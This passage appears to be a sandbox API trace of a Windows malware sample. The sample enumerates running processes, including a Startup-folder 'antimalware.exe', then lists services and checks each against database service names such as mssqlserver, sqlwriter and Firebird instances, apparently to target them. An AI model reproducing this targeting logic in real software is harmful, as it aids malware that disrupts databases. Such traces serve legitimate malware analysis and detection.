	[0038.742] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0038.746] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0038.746] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0038.746] lstrlenW (lpString="taskhostw.exe") returned 13
	[0038.746] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0038.747] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0038.747] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0038.747] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0038.748] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0038.748] lstrlenW (lpString="msoia.exe") returned 9
	[0038.748] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0038.749] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0038.749] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0038.749] lstrlenW (lpString="msoia.exe") returned 9
	[0038.749] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0038.750] lstrlenW (lpString="roof.exe") returned 8
	[0038.750] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0038.751] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0038.751] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0038.751] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0038.751] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0038.752] lstrlenW (lpString="cause.exe") returned 9
	[0038.752] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0038.753] lstrlenW (lpString="occasionstax.exe") returned 16
	[0038.753] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0038.753] lstrlenW (lpString="distributors.exe") returned 16
	[0038.753] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0038.754] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0038.754] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0038.755] lstrlenW (lpString="rand.exe") returned 8
	[0038.755] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0038.755] lstrlenW (lpString="unlikely.exe") returned 12
	[0038.755] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0038.756] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0038.756] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0038.756] lstrlenW (lpString="promotion.exe") returned 13
	[0038.757] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0038.757] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0038.757] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0038.758] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0038.758] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0038.759] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0038.759] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0038.759] lstrlenW (lpString="bad-length.exe") returned 14
	[0038.759] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0038.760] lstrlenW (lpString="unit.exe") returned 8
	[0038.760] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0038.761] lstrlenW (lpString="parents.exe") returned 11
	[0038.761] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0038.762] lstrlenW (lpString="charge.exe") returned 10
	[0038.762] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0038.762] lstrlenW (lpString="measures-provision.exe") returned 22
	[0038.762] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0038.763] lstrlenW (lpString="dllhost.exe") returned 11
	[0038.763] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0038.764] lstrlenW (lpString="conhost.exe") returned 11
	[0038.764] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0038.764] lstrlenW (lpString="conhost.exe") returned 11
	[0038.764] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0038.765] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0038.765] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0038.766] lstrlenW (lpString="cmd.exe") returned 7
	[0038.766] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0038.766] lstrlenW (lpString="conhost.exe") returned 11
	[0038.766] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0038.767] CloseHandle (hObject=0x2a4) returned 1
	[0038.767] Sleep (dwMilliseconds=0x1f4) 
	[0039.748] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fa08
	[0039.748] EnumServicesStatusExW (in: hSCManager=0x68fa08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0039.749] GetLastError () returned 0xea
	[0039.749] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c30) returned 0x6aca58
	[0039.749] EnumServicesStatusExW (in: hSCManager=0x68fa08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6aca58, cbBufSize=0x1c30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6aca58, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0039.749] CloseServiceHandle (hSCObject=0x68fa08) returned 1
	[0039.750] lstrlenW (lpString="Appinfo") returned 7
	[0039.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0039.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0039.750] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0039.750] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0039.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0039.750] lstrlenW (lpString="AppXSvc") returned 7
	[0039.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0039.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0039.750] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0039.750] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0039.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0039.750] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0039.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0039.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0039.750] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0039.750] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0039.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0039.750] lstrlenW (lpString="Audiosrv") returned 8
	[0039.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0039.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0039.750] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0039.750] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0039.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0039.750] lstrlenW (lpString="BFE") returned 3
	[0039.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0039.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0039.750] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0039.750] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0039.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0039.751] lstrlenW (lpString="BITS") returned 4
	[0039.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0039.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0039.751] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0039.751] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0039.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0039.751] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0039.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0039.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0039.751] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0039.751] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0039.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0039.751] lstrlenW (lpString="CDPSvc") returned 6
	[0039.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0039.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0039.751] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0039.751] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0039.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0039.751] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0039.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0039.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0039.751] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0039.751] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0039.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0039.751] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0039.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0039.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0039.751] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0039.751] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0039.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0039.751] lstrlenW (lpString="CryptSvc") returned 8
	[0039.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0039.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0039.752] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0039.752] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0039.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0039.752] lstrlenW (lpString="DcomLaunch") returned 10
	[0039.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0039.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0039.752] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0039.752] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0039.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0039.752] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0039.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0039.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0039.752] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0039.752] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0039.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0039.752] lstrlenW (lpString="Dhcp") returned 4
	[0039.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0039.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0039.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0039.752] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0039.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0039.752] lstrlenW (lpString="Dnscache") returned 8
	[0039.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0039.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0039.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0039.752] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0039.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0039.752] lstrlenW (lpString="DPS") returned 3
	[0039.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0039.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0039.752] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0039.752] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0039.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0039.752] lstrlenW (lpString="DusmSvc") returned 7
	[0039.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0039.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0039.753] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0039.753] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0039.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0039.753] lstrlenW (lpString="EventLog") returned 8
	[0039.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0039.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0039.753] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0039.753] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0039.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0039.753] lstrlenW (lpString="EventSystem") returned 11
	[0039.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0039.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0039.753] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0039.753] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0039.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0039.753] lstrlenW (lpString="FontCache") returned 9
	[0039.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0039.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0039.753] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0039.753] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0039.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0039.753] lstrlenW (lpString="gpsvc") returned 5
	[0039.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0039.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0039.753] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0039.753] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0039.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0039.753] lstrlenW (lpString="iphlpsvc") returned 8
	[0039.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0039.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0039.753] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0039.753] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0039.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0039.753] lstrlenW (lpString="KeyIso") returned 6
	[0039.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0039.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0039.753] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0039.754] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0039.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0039.754] lstrlenW (lpString="LanmanServer") returned 12
	[0039.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0039.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0039.754] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0039.754] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0039.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0039.754] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0039.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0039.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0039.754] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0039.754] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0039.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0039.754] lstrlenW (lpString="lfsvc") returned 5
	[0039.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0039.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0039.754] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0039.754] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
